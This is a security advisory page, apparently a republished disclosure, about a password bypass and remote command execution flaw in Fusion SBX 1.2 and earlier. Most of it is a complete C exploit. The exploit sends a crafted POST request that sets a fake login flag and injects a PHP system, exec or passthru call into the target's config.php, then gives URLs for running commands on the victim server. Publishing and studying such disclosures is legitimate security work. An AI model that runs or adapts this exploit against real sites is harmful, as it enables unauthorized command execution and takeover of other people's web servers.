Summary
Fusion SBX "will allow your visitors to post comments on your sites, or just say hi. And the best of all is that, it is flat-file, that means that you do not need a MySQL database to install Fusion SBX. You have complete control over the shoutout board".

The following is another proof of concept, exploiting the previously posted Fusion SBX's vulnerabilities.

Credit:
The information has been provided by Silentium.
The original article can be found at: http://www.autistici.org/anacron-group-italy/file/source/sileFSBXxpl_v1.2.c
Fusion SBX Password Bypass and Remote Command Execution

Details
Vulnerable Systems:
* Fusion SBX version 1.2 and prior

/***************************
* *
* [Fusion SBX <= 1.2] exploit *
* *
* sileFSBXxpl *
* *
* This exploit use vulnerability found into *
* Fusion SBX and create new variable and call it *
* with a malicious function (stored in config.php). *
* This exploit utilize injection of three diverse *
* procedures for execution of arbitrary code on *
* vulnerable machine with httpd privileges. *
* *
* *
* coded by: Silentium of Anacron Group Italy *
* date: 10/05/2005 *
* e-mail: anacrongroupitaly[at]autistici[dot]org *
* my_home: www.autistici.org/anacron-group-italy *
* *
* this tool is developed under GPL license *
* no(c) .:. copyleft *
* *
***************************/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define PORT 80 // port of web server

void info(void);
void banner(void);
void sendxpl(FILE *out, char *argv[], int type);
void errsock(void);
void errgeth(void);
void errconn(char *argv[]);

int main(int argc, char *argv[]){

FILE *out;
int sock, sockconn, type;
struct sockaddr_in addr;
struct hostent *hp;

if(argc!=4)
info();

type = atoi(argv[3]);

if(type < 1 || type > 3)
info();

banner();

if((sock = socket(AF_INET,SOCK_STREAM,0)) < 0)
errsock();

printf("[*] Creating socket [OK]\n");

if((hp = gethostbyname(argv[1])) == NULL)
errgeth();

printf("[*] Resolving victim host [OK]\n");

memset(&addr,0,sizeof(addr));
memcpy((char *)&addr.sin_addr,hp->h_addr,hp->h_length);
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);

sockconn = connect(sock,(struct sockaddr *)&addr,sizeof(addr));
if(sockconn < 0)
errconn(argv);

printf("[*] Connecting at victim host [OK]\n");

out = fdopen(sock,"a");
setbuf(out,NULL);

sendxpl(out,argv,type);

printf("[*] Now test at execute code on\n\n"
"[1] %s%sindex.php?sile=id\n"
"[2] %s%sadmin/index.php?sile=id\n\n",argv[1],argv[2],argv[1],argv[2]);

shutdown(sock,2);
close(sock);
return 0;

}

void info(void){

system("clear");
printf("\n #########################################\n"
" # sileFSBXxpl #\n"
" # ################################### #\n"
" # Fusion SBX <= 1.2 exploit #\n"
" # Remote Command Execution #\n"
" # coded by Silentium #\n"
" # [ Anacron Group Italy ] #\n"
" # ################################### #\n"
" # www.autistici.org/anacron-group-italy #\n"
" #########################################\n\n"
" [Usage]\n\n"
" sileFSBXxpl <victim> <path_sbx> <type>\n\n"
" [Type]\n\n"
" 1) injection of system()\n"
" 2) injection of exec()\n"
" 3) injection of passthru()\n\n"
" [Example]\n\n"
" sileFSBXxpl www.victim.com /sbx/ 1\n\n");
exit(1);
}

void banner(void){
system("clear");
printf("[-] sileFSBXxpl\n"
" ============\n"
"[-] Fusion SBX <= 1.2 exploit\n"
"[-] coded by Silentium - Anacron Group Italy\n"
"[-] www.autistici.org/anacron-group-italy\n\n");

}

void sendxpl(FILE *out, char *argv[], int type){
char *call;
int size = 245;

if(type == 1)
call = "system";
else if(type == 2)
call = "exec";
else if(type == 3)
call = "passthru";

size+=strlen(call);

fprintf(out,"POST %sadmin/?settings HTTP/1.0\n"
"Connection: Keep-Alive\n"
"Pragma: no-cache\n"
"Cache-control: no-cache\n"
"Accept: text/html, image/jpeg, image/png, text/*, image/*, */*\n"
"Accept-Encoding: x-gzip, x-deflate, gzip, deflate, identity\n"
"Accept-Charset: iso-8859-1, utf-8;q=0.5, *;q=0.5\n"
"Accept-Language: en\n"
"Host: %s\n"
"Content-Type: application/x-www-form-urlencoded\n"
"Content-Length: %d\n\n"
"set2=basic&admin_set2=standard"
"&lang2=english&plimit2=10&noname2=Guest&"
"refresh2=120&maxname2=30"
"%%3B%%40%s%%28%%24_GET%%5Bsile%%5D%%29&maxmess"
"2=120&maxlink2=120&wordbanning2=1"
"&maxword2=20&wrapstat2=1&postorder2=1"
"&setsubmit=Commit+Changes&is_logged=1\n\n",argv[2],argv[1],size,call);

printf("[*] Sending exploit [OK]\n\n");
}


void errsock(void){
system("clear");
printf("[x] Creating socket [FAILED]\n\n");
exit(1);
}

void errgeth(void){
printf("[x] Resolving victim host [FAILED]\n\n");
exit(1);
}